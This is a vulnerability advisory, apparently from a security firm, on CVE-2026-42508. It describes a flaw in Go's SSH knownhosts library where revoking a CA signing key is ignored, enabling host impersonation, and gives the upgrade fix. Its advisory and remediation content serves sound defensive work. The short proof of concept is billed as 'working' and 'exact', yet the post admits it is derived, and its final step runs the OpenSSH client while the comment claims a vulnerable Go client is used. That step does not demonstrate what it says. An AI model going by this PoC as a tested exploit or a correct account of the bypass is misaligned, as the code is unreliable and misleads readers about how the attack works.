critical · 9.1CVE-2026-42508Jun 25, 2026

CVE-2026-42508: golang.org/x/crypto/ssh/knownhosts CA Revocation Bypass

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A bug in Go's SSH known_hosts library meant that a revoked CA signing key was never actually checked for revocation, letting an attacker impersonate any SSH host that CA had ever certified.

Packagegolang.org/x/crypto/ssh/knownhosts
Ecosystemgo
Affected< 0.52.0
Fixed in0.52.0
CVE-2026-42508: golang.org/x/crypto/ssh/knownhosts CA Revocation Bypass

The problem

The hostKeyDB.IsRevoked function in golang.org/x/crypto/ssh/knownhosts only checked the top-level key field for the @revoked marker. It never inspected key.SignatureKey, the CA subkey that actually produced the certificate signature.

An SSH certificate carries two distinct public keys: the host's own key (Key) and the CA key that signed it (SignatureKey). Revoking the CA's signing subkey in known_hosts with @revoked had no effect. Any certificate signed by that subkey was still accepted as fully trusted, opening a clean path to MITM.

Proof of concept

A working proof-of-concept for CVE-2026-42508 in golang.org/x/crypto/ssh/knownhosts, with the exact payload below.

bash
# 1. Add the revoked CA signing key to the client's known_hosts
#    (This is what a defender would do to block a compromised CA subkey.)
#    On a vulnerable client, this @revoked line is silently ignored for
#    cert.SignatureKey, so the SSH connection below still succeeds.

@revoked * ecdsa-sha2-nistp256 AAAA...revokedCAPubKey...

# 2. Stand up a server presenting a certificate signed by that revoked CA key
#    (normal ssh-keygen -s flow, signing with the revoked CA private key)
ssh-keygen -s revoked_ca -I compromised-host -h -n target.example.com host_key.pub

# 3. Connect with a Go SSH client built on the vulnerable knownhosts verifier
#    The client calls hostKeyDB.IsRevoked, which checks key but NOT key.SignatureKey.
#    Revocation is bypassed; the handshake completes successfully.
ssh -o UserKnownHostsFile=./known_hosts user@target.example.com

The root cause is a single missing check in hostKeyDB.IsRevoked. Before the patch, the function returned false (not revoked) after checking only the presented key. The cert.SignatureKey field, which holds the CA's actual signing key, was never passed to the revocation lookup.

The patch (CL 781220) adds the missing branch: if key.SignatureKey is non-nil, it is also looked up in the revoked-key set. If either key or key.SignatureKey appears in the @revoked entries, the function now returns true and the connection is rejected.

CWE-295 (Improper Certificate Validation) applies directly: partial trust checks left an exploitable gap in the chain of custody.

Public PoC not yet available. Payload derived from advisory and patch diff.

The fix

Upgrade golang.org/x/crypto to v0.52.0 or later. Run go get golang.org/x/crypto@v0.52.0 && go mod tidy, then rebuild and redeploy all affected Go binaries (including statically compiled ones). Verify with govulncheck ./... that no transitive dependency pins an older version.

The fix is in CL 781220 and tracked as GO-2026-5021.

Reported by NCC Group Cryptography Services (sponsored by Teleport).

References: [1][2][3][4][5][6]

Related research